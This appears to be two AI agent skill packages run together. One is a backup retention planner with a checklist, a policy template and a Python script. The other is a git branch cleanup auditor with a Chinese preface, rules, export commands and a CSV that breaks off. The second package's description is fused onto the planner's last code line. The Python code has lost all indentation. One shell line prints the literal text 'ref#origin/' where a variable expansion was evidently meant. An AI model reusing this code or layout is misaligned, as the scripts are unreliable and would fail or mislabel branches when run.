- **Incremental / deduplicated** (restic, borg, pgBackRest incremental, ZFS/EBS snapshots): one full plus the data changed between kept points. The planner charges `daily_change_pct x days` between neighbouring points, capped at 100% of the full size. This is an upper bound: when the same blocks change every day, a monthly gap costs much less than 30 days of changes. Measure real numbers with `restic stats --mode raw-data`, `borg info` or the storage bill and adjust `daily_change_pct`.
- Growth: `growth_pct_per_month` compounds for 12 months to show next year's storage and cost.
Cost levers, from cheapest to most impact on recovery: compress and deduplicate; move monthly and yearly points to a colder storage class (mind minimum storage durations and retrieval fees); drop hourly points after 2-3 days; reduce monthly points after the legal need is met by a yearly archive.
## Worked example
Nightly backups at 02:00, keep daily 7, weekly 4, monthly 6, as of 2026-10-24:
- daily: 10-24 back to 10-18
- weekly: 10-24 (current ISO week), 10-18, 10-11, 10-04
- monthly: 10-24, 09-30, 08-31, 07-31, 06-30, 05-31
- 14 distinct points; oldest 2026-05-31 (about 4.8 months); the gaps after the first month are 30-31 days.
FILE:references/resilience-checklist.md
# Resilience Checklist
## 3-2-1-1-0
- **3** copies of the data (production plus two backups)
- **2** different storage types or systems
- **1** copy offsite (another region, provider or building)
- **1** copy immutable or offline (object lock in compliance mode, WORM storage, tape out of the library, a pull-based backup the source cannot delete)
- **0** errors in the last verified restore
## What each finding means and how to fix it
| Code | Severity | Why it matters | Typical fix |
|---|---|---|---|
| RPO_MISSED | HIGH | A failure just before the next backup loses more data than the business accepted | Shorter interval, hourly incrementals, or continuous log shipping (PostgreSQL WAL archiving with pgBackRest/WAL-G, MySQL binlog, SQL Server log backups) |
| HISTORY_SHORT | HIGH | Problems noticed late (bad import, deleted folder, slow corruption) cannot be undone | More daily/weekly points; at least the time it takes to notice a problem plus a margin |
| LEGAL_RETENTION | HIGH | Contract, tax or health-record rules can require years of history | Yearly tier of N+2 or a separate yearly archive job with object lock retention set to the legal period |
| NO_OFFSITE | HIGH | Fire, region outage or a compromised account removes production and backups together | Replicate to another region/provider with separate credentials |
| NEVER_RESTORED | HIGH | Backups fail silently: missing files, wrong permissions, lost encryption keys, untested runbooks | Restore drill now; record the time it took (actual RTO) |
| OVERLAP | HIGH | Jobs collide or get skipped, so the real interval is longer than planned | Incremental backups, faster storage, or a longer interval with log shipping |
| RESTORE_TEST_OLD | MEDIUM | Systems change; last spring's test says little about today | Quarterly drills; monthly automated restore-and-checksum for critical data |
| NO_IMMUTABLE | MEDIUM | Ransomware and attackers delete backups first | S3 Object Lock / Azure immutable blob / GCS bucket lock, or an offline copy |
| NOT_ENCRYPTED | MEDIUM | An offsite copy leaks all data if the bucket or tape is exposed | Client-side encryption; keys stored outside the backup system and escrowed |
| STORAGE_OVER | MEDIUM | The budget forces someone to cut retention in a hurry later | Colder storage for old tiers, fewer monthly points, measure the real change rate |
| TIER_GAP | LOW | Restores in the gap land on a much older point than wanted | Add weekly points or extend daily points |
| TIGHT_WINDOW | LOW | Data growth will push the job into overlap | Plan incremental or parallel backups before it happens |
## Restore drill (one page)
1. Pick a random restore point, not the newest.
2. Restore into an isolated environment using only the runbook and the escrowed keys.
3. Check: row counts or file counts, application starts, a known record from that date exists.
4. Record start and end time (actual RTO), problems and runbook fixes.
5. Delete the restored copy and log the drill date; the planner's `last_restore_test` is this date.
## Monitoring
- Alert when the newest backup is older than 1.5 x the interval.
- Alert on failed or partial jobs, not only on missing ones.
- Track backup size per run; a sudden drop often means a broken include path, a sudden jump can mean ransomware encryption.
- Check that prune/forget jobs run; a policy that is never applied silently fills the storage.
## Keys and access
- Backup credentials should be write-only from the source where possible; deletion needs a different identity.
- Keep encryption keys and the restore runbook somewhere that survives the loss of the main environment (password manager vault, printed sealed copy).
FILE:templates/backup-policy.md
# Backup Policy - <system name>
**Owner:** <team / person> **Reviewed:** <date> **Next review:** <date + 6 months>
## Scope
- Data: <databases, buckets, file shares, configs>
- Excluded: <caches, rebuildable artifacts>
## Requirements
| Item | Target | Source |
|---|---|---|
| RPO (max data loss) | <4 h> | <business owner> |
| RTO (max restore time) | <2 h> | <business owner> |
| Minimum history | <35 days> | <ops> |
| Legal / contractual retention | <3 years> | <contract, regulation> |
| Storage budget | <1500 GB / 40 USD per month> | <finance> |
## Schedule and keep rules
| Job | Frequency | Method | Keep rules |
|---|---|---|---|
| <full/incremental> | <daily 02:00> | <pgBackRest incr to S3> | <daily 14, weekly 8, monthly 12, yearly 5> |
| <log shipping> | <continuous> | <WAL archive> | <14 days> |
Restore points produced (from `scripts/retention_plan.py`): <count>, oldest <age>, largest gap <days>.
## Copies (3-2-1-1-0)
| Copy | Location | Immutable | Encrypted | Credentials |
|---|---|---|---|---|
| Primary backup | <region A bucket> | <no> | <yes> | <backup-writer role> |
| Offsite | <region B / provider B> | <object lock 35 d> | <yes> | <separate account> |
## Storage and cost
- Now: <GB> / <cost per month> - In 12 months: <GB> / <cost per month>
## Restore testing
- Cadence: <quarterly drill, monthly automated check>
- Last test: <date>, result <ok / issues>, actual RTO <time>
- Runbook: <link> - Keys escrowed at: <location>
## Monitoring and alerts
- <newest backup older than 36 h -> page on-call>
- <job failed / size change > 30% -> ticket>
## Open findings
- <severity code: action, owner, due date>
FILE:examples/clinic-postgres-policy.json
{
"name": "clinic-booking PostgreSQL (pgBackRest to S3)",
"today": "2026-10-24",
"backup_interval_hours": 24,
"backup_duration_hours": 2.5,
"policy": {"daily": 7, "weekly": 4, "monthly": 6, "yearly": 0},
"size": {"full_gb": 180, "daily_change_pct": 3, "growth_pct_per_month": 4, "storage_model": "incremental"},
"requirements": {
"rpo_hours": 4,
"min_history_days": 90,
"legal_retention_years": 3,
"max_storage_gb": 1500,
"restore_test_max_age_days": 90
},
"copies": {"onsite": false, "offsite": true, "immutable": false, "encrypted": true},
"price_per_gb_month": 0.023,
"currency": "USD",
"last_restore_test": "2026-04-14"
}
FILE:scripts/retention_plan.py
#!/usr/bin/env python3
"""Backup retention policy planner (Python 3 standard library only).
Simulates a grandfather-father-son (GFS) retention policy the way restic/borg "keep" rules
work, then reports the restore points you really keep, the gaps between them, storage and
cost, and the gaps against your requirements (RPO, minimum history, legal retention, 3-2-1).
Input JSON:
{"name": "orders-db", "today": "2026-10-24",
"backup_interval_hours": 24, "backup_duration_hours": 1.5,
"policy": {"hourly": 0, "daily": 7, "weekly": 4, "monthly": 12, "yearly": 3},
"size": {"full_gb": 120, "daily_change_pct": 4, "growth_pct_per_month": 3,
"storage_model": "incremental"}, # or "full" (every point is a full copy)
"requirements": {"rpo_hours": 24, "min_history_days": 35, "legal_retention_years": 0,
"max_storage_gb": 0, "restore_test_max_age_days": 90},
"copies": {"onsite": true, "offsite": true, "immutable": false, "encrypted": true},
"price_per_gb_month": 0.023, "currency": "USD",
"last_restore_test": "2026-03-02"} # or null if never tested
Selection rule per tier (newest backup first): keep a backup if its bucket (hour, day, ISO week,
month, year) differs from the previous kept bucket of that tier, until the tier count is used.
A backup kept by several tiers is stored once.
Storage: "full" = points x full size; "incremental" = one full + each later point's changed data
(daily_change_pct x days since the previous kept point, capped at 100%).
Findings (severity):
HIGH RPO_MISSED backup interval longer than the RPO
HIGH HISTORY_SHORT oldest restore point younger than min_history_days
HIGH LEGAL_RETENTION oldest point younger than legal_retention_years
HIGH NO_OFFSITE no offsite copy (breaks 3-2-1)
HIGH NEVER_RESTORED no restore test recorded
HIGH OVERLAP backup takes longer than the interval
MEDIUM RESTORE_TEST_OLD last restore test older than restore_test_max_age_days
MEDIUM NO_IMMUTABLE no immutable/air-gapped copy (ransomware can delete backups)
MEDIUM STORAGE_OVER storage (now or in 12 months) above max_storage_gb
MEDIUM NOT_ENCRYPTED offsite copy not encrypted
LOW TIER_GAP a coarse tier starts long after the finer tier ends (e.g. weekly
4 then monthly: weeks 5-8 have one point a month)
LOW TIGHT_WINDOW backup duration above 50% of the interval
Usage:
python3 retention_plan.py policy.json
python3 retention_plan.py policy.json --json
python3 retention_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import datetime as dt
import json
import sys
TIERS = ["hourly", "daily", "weekly", "monthly", "yearly"]
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class DataError(ValueError):
pass
def bucket(tier, t):
if tier == "hourly":
return t.strftime("%Y-%m-%d %H")
if tier == "daily":
return t.date().isoformat()
if tier == "weekly":
y, w, _ = t.isocalendar()
return f"{y}-W{w:02d}"
if tier == "monthly":
return t.strftime("%Y-%m")
return str(t.year)
def simulate(policy, interval_h, today):
"""Return (kept list of (datetime, [tiers])) newest first."""
for k in policy:
if k not in TIERS:
raise DataError(f"unknown policy tier '{k}' (use {', '.join(TIERS)})")
if not isinstance(policy[k], int) or policy[k] < 0:
raise DataError(f"policy.{k} must be a whole number >= 0")
if sum(policy.get(t, 0) for t in TIERS) == 0:
raise DataError("policy keeps nothing")
if not interval_h or interval_h <= 0:
raise DataError("backup_interval_hours must be > 0")
span_days = max(policy.get("hourly", 0) / 24, policy.get("daily", 0), policy.get("weekly", 0) * 7,
policy.get("monthly", 0) * 31, policy.get("yearly", 0) * 366) + 400
newest = dt.datetime.combine(today, dt.time(2, 0))
step = dt.timedelta(hours=interval_h)
n = int(span_days * 24 / interval_h) + 1
times = [newest - i * step for i in range(n)]
kept = {}
for tier in TIERS:
want = policy.get(tier, 0)
last = None
for t in times:
if want == 0:
break
b = bucket(tier, t)
if b != last:
kept.setdefault(t, []).append(tier)
last = b
want -= 1
return sorted(kept.items(), key=lambda kv: kv[0], reverse=True)
def storage_gb(kept, size):
full = float(size.get("full_gb", 0))
model = size.get("storage_model", "incremental")
if model not in ("incremental", "full"):
raise DataError("size.storage_model must be 'incremental' or 'full'")
if model == "full":
return full * len(kept)
change = float(size.get("daily_change_pct", 5)) / 100
total = full
for (newer, _), (older, _) in zip(kept, kept[1:]):
days = (newer - older).total_seconds() / 86400
total += full * min(1.0, change * days)
return total
def plan(cfg, today=None):
try:
today = today or dt.date.fromisoformat(cfg.get("today") or dt.date.today().isoformat())
except ValueError:
raise DataError("today must be YYYY-MM-DD")
policy = cfg.get("policy") or {}
interval = float(cfg.get("backup_interval_hours", 24))
kept = simulate(policy, interval, today)
newest = kept[0][0]
ages = [(newest - t).total_seconds() / 86400 for t, _ in kept]
oldest_days = ages[-1]
size = cfg.get("size") or {}
req = cfg.get("requirements") or {}
copies = cfg.get("copies") or {}
price = float(cfg.get("price_per_gb_month", 0))
gb = storage_gb(kept, size)
growth = float(size.get("growth_pct_per_month", 0)) / 100
gb12 = gb * (1 + growth) ** 12
tiers = []
for tier in TIERS:
pts = [(t, a) for (t, tl), a in zip(kept, ages) if tier in tl]
if pts:
tiers.append({"tier": tier, "count": len(pts), "newest_age_days": round(pts[0][1], 1),
"oldest_age_days": round(pts[-1][1], 1)})
gaps = []
for (t1, _), (t2, _), a in zip(kept, kept[1:], ages[1:]):
gaps.append({"from": t2.date().isoformat(), "to": t1.date().isoformat(),
"gap_days": round((t1 - t2).total_seconds() / 86400, 1), "age_days": round(a, 1)})
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
rpo = req.get("rpo_hours")
if rpo and interval > rpo:
add("HIGH", "RPO_MISSED", f"backups every {interval:g} h but RPO is {rpo:g} h; up to {interval:g} h of data can be lost")
mh = req.get("min_history_days")
if mh and oldest_days < mh:
add("HIGH", "HISTORY_SHORT", f"oldest restore point is {oldest_days:.0f} days old; requirement is {mh} days")
ly = req.get("legal_retention_years")
if ly and oldest_days < ly * 365:
add("HIGH", "LEGAL_RETENTION", f"oldest point {oldest_days / 365:.1f} years; legal retention needs {ly} years; yearly N also counts the current year, so set yearly >= {ly + 2} to cover it all year round")
if not copies.get("offsite"):
add("HIGH", "NO_OFFSITE", "no offsite copy; a site loss, account compromise or region outage takes every backup")
dur = cfg.get("backup_duration_hours")
if dur and dur > interval:
add("HIGH", "OVERLAP", f"backup takes {dur:g} h but runs every {interval:g} h; jobs overlap or get skipped")
elif dur and dur > interval / 2:
add("LOW", "TIGHT_WINDOW", f"backup takes {dur:g} h of a {interval:g} h interval; growth will push it into overlap")
lrt = cfg.get("last_restore_test")
max_age = req.get("restore_test_max_age_days", 90)
if not lrt:
add("HIGH", "NEVER_RESTORED", "no restore test recorded; an untested backup is a hope, not a backup")
else:
age = (today - dt.date.fromisoformat(lrt)).days
if age > max_age:
add("MEDIUM", "RESTORE_TEST_OLD", f"last restore test {age} days ago (limit {max_age}); schedule a timed restore")
if not copies.get("immutable"):
add("MEDIUM", "NO_IMMUTABLE", "no immutable or air-gapped copy; ransomware or a stolen admin key can delete every backup")
if copies.get("offsite") and copies.get("encrypted") is False:
add("MEDIUM", "NOT_ENCRYPTED", "offsite copy is not encrypted at rest")
mx = req.get("max_storage_gb")
if mx and max(gb, gb12) > mx:
add("MEDIUM", "STORAGE_OVER", f"storage {gb:.0f} GB now, {gb12:.0f} GB in 12 months; budget {mx} GB")
order = [t for t in TIERS if policy.get(t, 0) > 0]
span = {"hourly": 1 / 24, "daily": 1, "weekly": 7, "monthly": 30.4, "yearly": 365}
for fine, coarse in zip(order, order[1:]):
fine_end = policy[fine] * span[fine]
if span[coarse] >= 4 * fine_end and fine != "hourly":
add("LOW", "TIER_GAP", f"{fine} points cover ~{fine_end:.0f} days, then only one {coarse} point per {span[coarse]:.0f} days")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return {
"name": cfg.get("name", "backup set"), "today": today.isoformat(), "interval_hours": interval,
"restore_points": len(kept), "oldest_age_days": round(oldest_days, 1),
"tiers": tiers, "largest_gaps": sorted(gaps, key=lambda g: -g["gap_days"])[:5],
"storage_gb": round(gb, 1), "storage_gb_12m": round(gb12, 1),
"monthly_cost": round(gb * price, 2), "monthly_cost_12m": round(gb12 * price, 2),
"currency": cfg.get("currency", "USD"), "storage_model": size.get("storage_model", "incremental"),
"kept": [{"time": t.strftime("%Y-%m-%d %H:%M"), "tiers": tl} for t, tl in kept],
"findings": findings,
}
def age_label(d):
if d < 2:
return f"{d * 24:.0f} h"
if d < 60:
return f"{d:.0f} d"
if d < 730:
return f"{d / 30.4:.1f} mo"
return f"{d / 365:.1f} y"
def render(r):
out = [f"# Backup retention plan: {r['name']} (as of {r['today']})", "",
f"Backups every {r['interval_hours']:g} h -> {r['restore_points']} restore points kept, oldest {age_label(r['oldest_age_days'])} old",
f"Storage ({r['storage_model']}): {r['storage_gb']:.0f} GB now, {r['storage_gb_12m']:.0f} GB in 12 months"
f" -> {r['monthly_cost']:.2f} -> {r['monthly_cost_12m']:.2f} {r['currency']}/month", "",
"| Tier | Points | Newest age | Oldest age |", "|---|---|---|---|"]
for t in r["tiers"]:
out.append(f"| {t['tier']} | {t['count']} | {age_label(t['newest_age_days'])} | {age_label(t['oldest_age_days'])} |")
out += ["", "## Largest gaps between restore points", "| Older point | Newer point | Gap | Age of older point |", "|---|---|---|---|"]
for g in r["largest_gaps"]:
out.append(f"| {g['from']} | {g['to']} | {g['gap_days']:g} d | {age_label(g['age_days'])} |")
out += ["", "## Restore points kept"]
out.append(", ".join(f"{k['time'][:10]} ({'/'.join(x[0].upper() for x in k['tiers'])})" for k in r["kept"]))
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']}: {f['message']}")
return "\n".join(out) + "\n"
def self_test():
ok = 0
tests = []
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
today = dt.date(2026, 10, 24)
base = {"today": "2026-10-24", "backup_interval_hours": 24, "policy": {"daily": 7, "weekly": 4, "monthly": 12},
"size": {"full_gb": 100, "daily_change_pct": 2}, "requirements": {"rpo_hours": 24, "min_history_days": 35},
"copies": {"offsite": True, "immutable": True, "encrypted": True}, "last_restore_test": "2026-10-01"}
r = plan(base, today)
# daily 7 = 7 newest days; weekly 4 overlaps with dailies; monthly 12
check("daily 7 + weekly 4 + monthly 12 -> 20 distinct points", r["restore_points"] == 20)
check("clean policy has no findings", r["findings"] == [])
check("oldest point is the 2025-11-30 monthly", r["kept"][-1]["time"].startswith("2025-11-30"))
k = simulate({"daily": 3}, 24, today)
check("daily 3 keeps 3 newest days", [t.date().day for t, _ in k] == [24, 23, 22])
k = simulate({"hourly": 6}, 1, today)
check("hourly 6 keeps 6 points one hour apart", len(k) == 6 and (k[0][0] - k[5][0]) == dt.timedelta(hours=5))
k = simulate({"weekly": 2}, 24, today)
check("weekly keeps newest of each ISO week", [t.date().isoformat() for t, _ in k] == ["2026-10-24", "2026-10-18"])
k = simulate({"monthly": 2}, 24, today)
check("monthly keeps last day of previous month", [t.date().isoformat() for t, _ in k] == ["2026-10-24", "2026-09-30"])
k = simulate({"daily": 2, "weekly": 1}, 24, today)
check("point kept by two tiers stored once", len(k) == 2 and k[0][1] == ["daily", "weekly"])
k = simulate({"daily": 7}, 12, today)
check("12 h interval: daily keeps newest per day", len(k) == 7 and [t.hour for t, _ in k[:2]] == [2, 14])
check("full storage = points x full", storage_gb([(dt.datetime(2026, 1, 2), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 50, "storage_model": "full"}) == 100)
check("incremental storage = full + change x days", abs(storage_gb([(dt.datetime(2026, 1, 11), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 100, "daily_change_pct": 2}) - 120) < 1e-9)
check("incremental change capped at 100%", storage_gb([(dt.datetime(2026, 6, 1), []), (dt.datetime(2026, 1, 1), [])], {"full_gb": 10, "daily_change_pct": 5}) == 20)
def codes(**over):
c = json.loads(json.dumps(base))
for key, val in over.items():
if key != "policy" and isinstance(val, dict) and isinstance(c.get(key), dict):
c[key].update(val)
else:
c[key] = val
return {f["code"] for f in plan(c, today)["findings"]}
check("RPO missed HIGH", "RPO_MISSED" in codes(requirements={"rpo_hours": 4}))
check("history short HIGH", "HISTORY_SHORT" in codes(policy={"daily": 14}))
check("legal retention HIGH", "LEGAL_RETENTION" in codes(requirements={"legal_retention_years": 7}))
check("yearly 9 satisfies legal 7, yearly 8 does not", "LEGAL_RETENTION" in codes(policy={"daily": 7, "monthly": 12, "yearly": 8}, requirements={"legal_retention_years": 7}) and "LEGAL_RETENTION" not in codes(policy={"daily": 7, "monthly": 12, "yearly": 9}, requirements={"legal_retention_years": 7}))
check("no offsite HIGH", "NO_OFFSITE" in codes(copies={"offsite": False}))
check("never restored HIGH", "NEVER_RESTORED" in codes(last_restore_test=None))
check("restore test old MEDIUM", "RESTORE_TEST_OLD" in codes(last_restore_test="2026-01-01"))
check("no immutable MEDIUM", "NO_IMMUTABLE" in codes(copies={"immutable": False}))
check("not encrypted MEDIUM", "NOT_ENCRYPTED" in codes(copies={"encrypted": False}))
check("overlap HIGH", "OVERLAP" in codes(backup_duration_hours=30))
check("tight window LOW", "TIGHT_WINDOW" in codes(backup_duration_hours=14))
check("storage over MEDIUM", "STORAGE_OVER" in codes(requirements={"max_storage_gb": 150}))
check("tier gap LOW (daily 7 then monthly)", "TIER_GAP" in codes(policy={"daily": 7, "monthly": 12}))
try:
plan({"policy": {"daily": 0}}, today)
check("empty policy rejected", False)
except DataError:
check("empty policy rejected", True)
try:
plan({"policy": {"fortnightly": 2}}, today)
check("unknown tier rejected", False)
except DataError:
check("unknown tier rejected", True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Backup retention (GFS) policy planner")
ap.add_argument("policy", nargs="?", help="policy JSON file")
ap.add_argument("--json", action="store_true", help="print JSON instead of Markdown")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.policy:
ap.error("policy file required")
try:
with open(a.policy, encoding="utf-8") as fh:
cfg = json.load(fh)
r = plan(cfg)
except (OSError, json.JSONDecodeError, DataError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="" if not a.json else "\n")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())审计远程分支并规划安全清理：已合并可删、活跃保留、不确定需确认。
---
name: stale-git-branch-cleanup-auditor
description: 审计远程分支并规划安全清理：已合并可删、活跃保留、不确定需确认。
---
# 陈旧 Git 分支清理审计
你是「陈旧 Git 分支清理审计」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Stale Git Branch Cleanup Auditor
You help teams clean up the dozens or hundreds of forgotten branches on a shared remote without losing anyone's work. You decide, branch by branch, what is safe to delete, what should be archived as a tag first, and who has to be asked, then produce a cleanup script that people review before anything is removed.
## Files in this skill
- `scripts/branch_audit.py` - classifies remote branches from a TSV or CSV export or straight from a local clone (`--repo`), prints findings, owner lists and a cleanup script (Python 3 standard library only; never deletes anything itself)
- `references/cleanup-rules.md` - the decision rules, squash-merge detection, archive tags, protected branches, naming conventions and how to restore a deleted branch
- `references/exporting-branch-data.md` - git and GitHub/GitLab commands to produce the input, including PR states
- `templates/cleanup-announcement.md` - a team message with the plan, the owner asks and the deadline
- `examples/webshop-branches.csv` - 16 branches of an online shop repository with merged, squash-merged, stale, colliding and protected branches
## Workflow
### 1. Get the branch data
Preferred: a fresh local clone (`git fetch --prune origin`) and run the script with `--repo`. Ask for the base branch (main, master or develop), the PR states from `gh pr list` or the GitLab API (squash merges cannot be seen in git history), the protected branch patterns and the team's naming convention. If they paste a list instead, convert it to the CSV columns in `references/exporting-branch-data.md`.
### 2. Run the auditor
```
python3 scripts/branch_audit.py examples/webshop-branches.csv --today 2026-10-24
python3 scripts/branch_audit.py --repo . --base main --prs prs.tsv --stale-days 90 --ask-days 30
python3 scripts/branch_audit.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input.
### 3. Review with the user
Walk through the actions in this order: DELETE_MERGED (safe, the work is in the base branch), ARCHIVE_AND_DELETE (recoverable from the archive tag), ASK_OWNER (needs an answer), then the findings. Fix CASE_COLLISION first because it breaks clones on macOS and Windows. Adjust thresholds to the team's pace (a research repo may want 180 stale days). Use `references/cleanup-rules.md` to explain each decision.
### 4. Deliver
Fill `templates/cleanup-announcement.md` with the counts, the per-owner list and a deadline (usually 7 days). Hand over the generated script with the advice to run the DELETE_MERGED lines first and the archive lines after the deadline.
## Example result
For `examples/webshop-branches.csv` (as of 2026-10-24, stale 90 days, ask 30 days): 16 branches -> 3 delete (merged, squash-merged PR, no commits ahead), 3 archive and delete (spike/graphql-gateway, feature/gift-cards, johns-test), 2 ask owner, 3 open PRs, 1 active, 4 protected. Findings: HIGH CASE_COLLISION (fix/search-timeout vs fix/Search-Timeout), MEDIUM PR_STALE (feature/checkout-redesign, idle 205 days), 3 MEDIUM FAR_BEHIND, 2 LOW BAD_NAME, 2 LOW LONG_LIVED, LOW OLD_PROTECTED (release/2.3).
## Rules
- Never delete branches yourself and never run the script for the user; print it for review.
- Unmerged work is archived as a tag (`archive/<branch>`) before the branch is deleted, so it can be restored.
- Squash and rebase merges leave the branch "unmerged" in git; trust the PR state, not only `--merged`.
- Protected, release and base branches are never in the delete list, even if they look idle.
- Ask owners before touching unmerged work and give a clear deadline.
FILE:references/cleanup-rules.md
# Cleanup Rules
## Decision order (first match wins)
| Action | Condition | Why it is safe or not |
|---|---|---|
| KEEP_PROTECTED | matches `--protect` (main, master, develop, trunk, gh-pages, release/*, hotfix/*) | Deployments, release maintenance and branch protection rules depend on them |
| DELETE_MERGED | reachable from the base branch, 0 commits ahead, or its PR was merged | Every commit (or its squashed equivalent) is already in the base branch |
| KEEP_OPEN_PR | open pull/merge request | Deleting the branch closes the PR; ask instead (see PR_STALE) |
| ARCHIVE_AND_DELETE | unmerged and idle >= stale days (default 90) | Unique commits: tag first so the work is recoverable |
| ASK_OWNER | unmerged and idle >= ask days (default 30) | Might still be in use; the owner decides |
| KEEP_ACTIVE | unmerged, recent commits | Work in progress |
"Idle" is the committer date of the branch tip. A rebase updates it, so a branch rebased yesterday counts as active even if nobody worked on it for months.
## Squash and rebase merges
`git branch -r --merged main` only finds branches whose tip commit is in main. When a PR is squash-merged or rebase-merged, main gets new commits and the branch still looks unmerged with N commits ahead. Use the PR state (`pr = merged`) to catch these. Without PR data, check by hand:
```
git diff --stat origin/main...origin/<branch> # empty or tiny = changes already in main
git log --oneline origin/main --grep "<PR title or number>"
```
A closed (not merged) PR with old commits is abandoned work: archive it.
## Archive tags
```
git tag archive/<branch> origin/<branch>
git push origin refs/tags/archive/<branch>
git push origin --delete <branch>
```
Restore later with `git push origin archive/<branch>:refs/heads/<branch>`. Tags keep the commits alive forever (no garbage collection). If the archive tags clutter the tag list, push them to a separate archive remote instead.
Deleted without a tag? On GitHub, a branch deleted from a PR page can be restored from the PR for a while; otherwise someone's local clone or `git reflog` on the server-side mirror is the only way back. That is why the script tags first.
## Findings
| Code | Severity | Meaning | Action |
|---|---|---|---|
| CASE_COLLISION | HIGH | `fix/Login` and `fix/login` exist; case-insensitive file systems store refs as files, so fetch fails or one ref hides the other | Delete or rename one today |
| PR_STALE | MEDIUM | Open PR with no commit for >= stale days | Owner finishes, splits or closes it |
| FAR_BEHIND | MEDIUM | Unmerged branch > 300 commits behind base | Rebase/merge base soon or archive; conflicts grow every day |
| LONG_LIVED | LOW | > 50 unmerged commits and idle >= ask days | Split into smaller PRs; hide unfinished work behind a feature flag |
| OLD_PROTECTED | LOW | release/* or hotfix/* idle >= stale days | Tag the release (`v2.3.x`), remove protection, delete |
| BAD_NAME | LOW | No allowed `<type>/` prefix, or uppercase/spaces | Rename to `feature/...`, `fix/...`, `chore/...` |
## Naming convention
`<type>/<short-kebab-description>` with optional ticket: `feature/cart-coupons`, `fix/1423-vat-rounding`, `chore/bump-node-22`. Default allowed types: feature, feat, fix, bugfix, hotfix, release, chore, docs, refactor, test, ci, perf, build, deps, dependabot, renovate, experiment, spike. Override with `--prefixes`.
## Keeping it clean afterwards
- Enable "Automatically delete head branches" (GitHub) or "Delete source branch" (GitLab) on merge.
- Protect only branches that need it, with patterns.
- Run the audit monthly; most teams settle at 90 stale days and 30 ask days.
- Bots (dependabot, renovate) recreate their branches; keep their PRs moving instead of deleting branches.
FILE:references/exporting-branch-data.md
# Exporting Branch Data
## Option A: let the script read the clone
```
git fetch --prune origin
python3 scripts/branch_audit.py --repo . --remote origin --base main
```
The script runs `git for-each-ref`, `git branch -r --merged origin/main` and `git rev-list --left-right --count origin/main...origin/<branch>` for every branch. Large repositories with thousands of branches take a minute.
## Option B: build the TSV (or CSV) yourself
Columns (tab or comma separated, header required; the delimiter is detected from the header): `branch last_commit author ahead behind merged pr`
```
base=origin/main
printf 'branch\tlast_commit\tauthor\tahead\tbehind\tmerged\tpr\n' > branches.tsv
git branch -r --merged "$base" | sed 's/^ *//' > /tmp/merged.txt
git for-each-ref --format='%(refname:short)%09%(committerdate:short)%09%(authorname)' refs/remotes/origin |
while IFS="$(printf '\t')" read -r ref date author; do
case "$ref" in origin|origin/HEAD|"$base") continue;; esac
set -- $(git rev-list --left-right --count "$base...$ref")
merged=no; grep -qx "$ref" /tmp/merged.txt && merged=yes
printf '%s\t%s\t%s\t%s\t%s\t%s\tnone\n' "ref#origin/" "$date" "$author" "$2" "$1" "$merged" >> branches.tsv
done
```
`$1` is "behind" (commits only in base) and `$2` is "ahead" (commits only in the branch).
## PR states
GitHub CLI (`gh pr list` returns newest PRs first; awk keeps the first, i.e. newest, PR per branch):
```
gh pr list --state all --limit 1000 --json headRefName,state \
-q '.[] | [.headRefName, (.state|ascii_downcase)] | @tsv' | awk -F'\t' '!seen[$1]++' > prs.tsv
python3 scripts/branch_audit.py --repo . --prs prs.tsv
```
GitHub states map to open, merged, closed. GitLab: `glab mr list --all` or the API `GET /projects/:id/merge_requests?state=all` (`source_branch`, `state`: opened -> open, merged, closed).
For a TSV or CSV, put the state in the `pr` column (open, merged, closed or none).
## Thresholds
| Option | Default | Notes |
|---|---|---|
| `--stale-days` | 90 | Idle unmerged branches beyond this are archived |
| `--ask-days` | 30 | Idle unmerged branches beyond this need an owner answer |
| `--behind-limit` | 300 | FAR_BEHIND threshold in commits |
| `--protect` | main,master,develop,trunk,gh-pages,release/*,hotfix/* | fnmatch patterns, case-sensitive |
| `--prefixes` | feature,fix,chore,... | Allowed name prefixes for BAD_NAME |
| `--today` | today | Fix the date for repeatable reports |
## Privacy
Author names come from commits. Share the per-owner list only inside the team.
FILE:templates/cleanup-announcement.md
# Branch cleanup on <repository> - please check by <deadline date>
Hi team,
We have <N> branches on `<remote>`. On <cleanup date> we will clean up:
- **<n> merged branches** will be deleted (their changes are already in `<base>`).
- **<n> idle unmerged branches** (no commits for <stale days>+ days) will be saved as `archive/<branch>` tags and then deleted. You can restore any of them with `git push origin archive/<branch>:refs/heads/<branch>`.
- **<n> branches need your answer** (no commits for <ask days>+ days): keep, merge, or archive?
## Your branches
| Owner | Branches | Needed from you |
|---|---|---|
| <name> | <branch, branch> | <keep / archive / merge by deadline> |
## Please fix
- <CASE_COLLISION: fix/search-timeout and fix/Search-Timeout - Lena, delete one today>
- <PR_STALE: feature/checkout-redesign - Marco, finish, split or close>
## From now on
- Branch names: `<type>/<short-description>` (feature/, fix/, chore/, ...)
- Head branches are deleted automatically after merge.
- This audit runs on the first Monday of each month.
Reply in <channel/thread> if a branch must stay. Thanks!
FILE:examples/webshop-branches.csv
branch,last_commit,author,ahead,behind,merged,pr
main,2026-10-23,Selin Kaya,0,0,yes,none
develop,2026-10-22,Selin Kaya,4,0,no,none
release/2.3,2025-11-12,Selin Kaya,2,611,no,none
release/2.8,2026-09-30,Selin Kaya,1,48,no,none
feature/cart-coupons,2026-10-20,Marco Rossi,12,6,no,open
feature/checkout-redesign,2026-04-02,Marco Rossi,134,742,no,open
